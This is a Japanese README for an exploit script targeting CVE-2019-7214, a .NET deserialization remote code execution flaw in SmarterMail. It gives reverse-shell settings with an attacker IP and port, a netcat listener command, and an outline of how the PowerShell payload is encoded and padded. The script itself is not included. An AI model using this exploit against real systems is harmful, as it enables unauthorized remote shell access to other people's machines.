Windows リバースシェルエクスプロイト（TCP経由のPowerShell）

このPythonスクリプトは、リモートのWindowsマシン上で実行されている脆弱なサービスを標的とします。シリアル化された.NETペイロードを送信し、攻撃者のマシンに対してPowerShellベースのリバースシェルを起動します。

CVE-2019-7214

SmarterMail システムの .NET デシリアライゼーションにおけるリモートコード実行。

⚙️ 設定

スクリプトの設定セクションを、お使いの環境に合わせて更新してください：

HOSTNAME = 'hostname'       # Target hostname (resolved via /etc/hosts)
PORT = 9999                 # Target port listening for serialized input
LHOST = '192.168.45.185'    # Attacker IP (listener)
LPORT = 4444                # Attacker listening port

🧪 動作内容

• ターゲットのホスト名をIPアドレスに解決します。
• PowerShellリバースシェルコマンドを構築します。
• コマンドをUTF-16LE形式でBase64エンコードします。
• 事前に構築されたシリアル化された.NETペイロードblobに追加します。
• ペイロードをTCP接続でターゲットに送信します。

🛠 要件

• Python 3.x
• 攻撃者のポートで待ち受けるNetcatまたは類似のツール：
  root@kitploit:~

  nc -lvnp 4444
  

🚀 使用方法

python3 CVE-2019-7214 .py

成功すると、リスナー上でターゲットからのPowerShellプロンプトが表示されます。

🧼 注意事項

• 指定されたポートでターゲットがシリアル化された.NET入力を受け付けることを確認してください。
• このスクリプトは、ターゲットが System.Management.Automation 機能を含む逆シリアル化されたオブジェクトを実行できることを前提としています。
• スペース、エンコーディング、ペイロードサイズに注意してください – 破損を防ぐため、PowerShellコマンドは正確に1360バイトにパディングされています。

⚠️ 免責事項

このスクリプトは教育目的のみで提供されています。所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は、違法かつ非倫理的です。